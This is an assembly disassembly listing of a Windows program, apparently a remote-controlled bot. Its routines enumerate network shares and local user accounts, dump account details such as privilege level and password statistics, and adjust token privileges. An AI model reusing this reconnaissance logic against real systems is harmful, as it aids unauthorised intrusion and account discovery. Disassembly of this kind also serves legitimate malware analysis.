; ---------------------------------------------------------------------------

loc_418C37:				; CODE XREF: sub_418C2A+9j
		push	ebx
		push	esi
		mov	esi, dword_427180
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418C2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C6B	proc near		; CODE XREF: sub_418A98+20p
					; sub_419E79+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2A
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4CAE70
		pop	esi
		retn
sub_418C6B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C8E	proc near		; CODE XREF: sub_401ACD+46B0p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_418C2A
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 18h

loc_418CC7:				; CODE XREF: sub_418C8E+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4CAEE8
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_418D2A
		cmp	ebx, 0EAh
		jz	short loc_418D2A
		push	ebx
		push	ebx
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_4390C8
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 24h
		jmp	short loc_418D97
; ---------------------------------------------------------------------------

loc_418D2A:				; CODE XREF: sub_418C8E+5Dj
					; sub_418C8E+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_418D8E
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]

loc_418D38:				; CODE XREF: sub_418C8E+FCj
		push	dword ptr [esi+10h]
		call	dword_4CAE8C
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_418D4F
		mov	eax, offset aNo	; "No"

loc_418D4F:				; CODE XREF: sub_418C8E+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_418D38
		xor	esi, esi

loc_418D8E:				; CODE XREF: sub_418C8E+A2j
		push	[ebp+var_4]
		call	dword_4CB034

loc_418D97:				; CODE XREF: sub_418C8E+9Aj
		cmp	ebx, 0EAh
		jz	loc_418CC7
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_418C8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418DAF	proc near		; CODE XREF: sub_401ACD:loc_4061EEp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_418E54
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_418DF1
		dec	eax
		jz	short loc_418DE6
		dec	eax
		jnz	short loc_418E0C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_418EF6
		add	esp, 14h
		jmp	short loc_418E08
; ---------------------------------------------------------------------------

loc_418DE6:				; CODE XREF: sub_418DAF+1Dj
		push	ebx
		push	edi
		call	sub_418ED5
		pop	ecx
		pop	ecx
		jmp	short loc_418E08
; ---------------------------------------------------------------------------

loc_418DF1:				; CODE XREF: sub_418DAF+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_418E05
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_418E7B
		add	esp, 0Ch
		jmp	short loc_418E08
; ---------------------------------------------------------------------------

loc_418E05:				; CODE XREF: sub_418DAF+45j
		push	57h
		pop	eax

loc_418E08:				; CODE XREF: sub_418DAF+35j
					; sub_418DAF+40j ...
		cmp	eax, edi
		jnz	short loc_418E2C

loc_418E0C:				; CODE XREF: sub_418DAF+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DAE20
		push	off_4389D4[eax*4]
		push	offset unk_439180
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418E74
; ---------------------------------------------------------------------------

loc_418E2C:				; CODE XREF: sub_418DAF+5Bj
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DAE20
		push	off_4389D0[eax*4]
		push	offset unk_439150
		push	esi
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_418E74
; ---------------------------------------------------------------------------

loc_418E54:				; CODE XREF: sub_418DAF+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DAE20
		lea	eax, [eax+eax*2]
		push	off_4389D0[eax*4]
		push	offset unk_439128
		push	esi
		call	sub_41B886
		add	esp, 0Ch

loc_418E74:				; CODE XREF: sub_418DAF+7Bj
					; sub_418DAF+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418DAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E7B	proc near		; CODE XREF: sub_418DAF+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2A
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_418C2A
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4CAE7C
		pop	edi
		leave
		retn
sub_418E7B	endp


; =============== S U B	R O U T	I N E =======================================



sub_418ED5	proc near		; CODE XREF: sub_418DAF+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2A
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4CAE6C
		pop	esi
		retn
sub_418ED5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418EF6	proc near		; CODE XREF: sub_418DAF+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4CAFFC
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_41929E
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_4192D9
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_41B886
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_419015
		dec	eax
		jz	short loc_41900E
		dec	eax
		jz	short loc_419007
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------

loc_419007:				; CODE XREF: sub_418EF6+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------

loc_41900E:				; CODE XREF: sub_418EF6+105j
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------

loc_419015:				; CODE XREF: sub_418EF6+102j
		mov	eax, offset aGuest ; "Guest"

loc_41901A:				; CODE XREF: sub_418EF6+10Fj
					; sub_418EF6+116j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_41B886
		push	1
		push	esi
		lea	eax, [ebp+var_204]
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_4192CA
; ---------------------------------------------------------------------------

loc_41929E:				; CODE XREF: sub_418EF6+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_4391A0
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_409A72
		add	esp, 20h

loc_4192CA:				; CODE XREF: sub_418EF6+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_4192D9
		push	[ebp+var_4]
		call	dword_4CB034

loc_4192D9:				; CODE XREF: sub_418EF6+40j
					; sub_418EF6+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_418EF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192DF	proc near		; CODE XREF: sub_401ACD+473Bp

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_418C2A
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 18h

loc_41931E:				; CODE XREF: sub_4192DF+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4CAF04
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_41937F
		cmp	eax, 0EAh
		jz	short loc_41937F
		push	eax
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_439390
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 24h
		jmp	short loc_4193FA
; ---------------------------------------------------------------------------

loc_41937F:				; CODE XREF: sub_4192DF+62j
					; sub_4192DF+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_41940D
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_4193FA

loc_419391:				; CODE XREF: sub_4192DF+EDj
		cmp	edi, esi
		jz	short loc_4193D0
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_419391
		jmp	short loc_4193FA
; ---------------------------------------------------------------------------

loc_4193D0:				; CODE XREF: sub_4192DF+B4j
		lea	eax, [ebp+var_218]
		push	offset unk_43935C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 1Ch

loc_4193FA:				; CODE XREF: sub_4192DF+9Ej
					; sub_4192DF+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_41940D
		push	edi
		call	dword_4CB034
		xor	edi, edi
		mov	[ebp+var_4], edi

loc_41940D:				; CODE XREF: sub_4192DF+A5j
					; sub_4192DF+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_41931E
		cmp	edi, esi
		jz	short loc_419425
		push	edi
		call	dword_4CB034

loc_419425:				; CODE XREF: sub_4192DF+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4192DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41945F	proc near		; CODE XREF: sub_418A98+41p
					; sub_418C8E+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_419511
		jz	loc_41950A
		cmp	eax, 7Bh
		ja	short loc_4194D6
		jz	short loc_4194CC
		cmp	eax, 5
		jz	short loc_4194C2
		cmp	eax, 8
		jz	short loc_4194B8
		cmp	eax, 32h
		jz	short loc_4194AE
		cmp	eax, 35h
		jz	short loc_4194A4
		cmp	eax, 57h
		jnz	loc_419560
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194A4:				; CODE XREF: sub_41945F+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194AE:				; CODE XREF: sub_41945F+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194B8:				; CODE XREF: sub_41945F+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194C2:				; CODE XREF: sub_41945F+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194CC:				; CODE XREF: sub_41945F+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194D6:				; CODE XREF: sub_41945F+1Aj
		sub	eax, 7Ch
		jz	short loc_419503
		sub	eax, 7C8h
		jz	short loc_4194FC
		dec	eax
		jz	short loc_4194F2
		dec	eax
		jnz	short loc_419560
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194F2:				; CODE XREF: sub_41945F+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194FC:				; CODE XREF: sub_41945F+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419503:				; CODE XREF: sub_41945F+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_41950A:				; CODE XREF: sub_41945F+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419511:				; CODE XREF: sub_41945F+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_41954A
		jz	short loc_419543
		sub	eax, 8ADh
		jz	short loc_419575
		dec	eax
		dec	eax
		jz	short loc_41953C
		dec	eax
		jz	short loc_419535
		dec	eax
		dec	eax
		jnz	short loc_419560
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419535:				; CODE XREF: sub_41945F+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_41953C:				; CODE XREF: sub_41945F+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419543:				; CODE XREF: sub_41945F+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_41954A:				; CODE XREF: sub_41945F+B9j
		sub	eax, 8CAh
		jz	short loc_41957C
		sub	eax, 17h
		jz	short loc_419575
		sub	eax, 25h
		jz	short loc_41956E
		sub	eax, 29h
		jz	short loc_419567

loc_419560:				; CODE XREF: sub_41945F+35j
					; sub_41945F+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419567:				; CODE XREF: sub_41945F+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_41956E:				; CODE XREF: sub_41945F+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419575:				; CODE XREF: sub_41945F+C2j
					; sub_41945F+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_41957C:				; CODE XREF: sub_41945F+F0j
		push	offset aNetworkConnect ; "Network connection not found."

loc_419581:				; CODE XREF: sub_41945F+40j
					; sub_41945F+4Aj ...
		push	offset dword_4DABC0
		call	sub_41B886
		pop	ecx
		mov	eax, offset dword_4DABC0
		pop	ecx
		retn
sub_41945F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419593	proc near		; CODE XREF: sub_401ACD+4781p

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41D834
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		call	near ptr 26D0000h
		nop
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_41D834
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41D817
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4CAFB4
		test	eax, eax
		jnz	short loc_419623
		mov	esi, offset dword_4DA9BC
		push	offset unk_4396C4
		push	esi
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_41964C
; ---------------------------------------------------------------------------

loc_419623:				; CODE XREF: sub_419593+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_41945F
		pop	ecx
		mov	esi, offset dword_4DA9BC
		push	eax
		push	offset dword_439698
		push	esi
		call	sub_41B886
		add	esp, 14h

loc_41964C:				; CODE XREF: sub_419593+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419593	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419651	proc near		; CODE XREF: sub_416F1A+45p
					; sub_416F1A+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	near ptr 2720607h
		nop
		push	eax
		call	dword_4CAF88
		test	eax, eax
		jnz	short loc_419670
		leave
		retn
; ---------------------------------------------------------------------------

loc_419670:				; CODE XREF: sub_419651+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4CAF60
		test	eax, eax
		jz	short loc_4196AE
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_419697
		or	[ebp+var_8], 2
		jmp	short loc_41969B
; ---------------------------------------------------------------------------

loc_419697:				; CODE XREF: sub_419651+3Ej
		and	[ebp+var_8], 0FFFFFFFDh

loc_41969B:				; CODE XREF: sub_419651+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4CB010
		mov	esi, eax

loc_4196AE:				; CODE XREF: sub_419651+32j
		push	[ebp+var_4]
		nop
		call	near ptr 2670909h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419651	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4196BC	proc near		; CODE XREF: sub_401ACD+7915p
					; sub_4198EB+74p

var_554		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
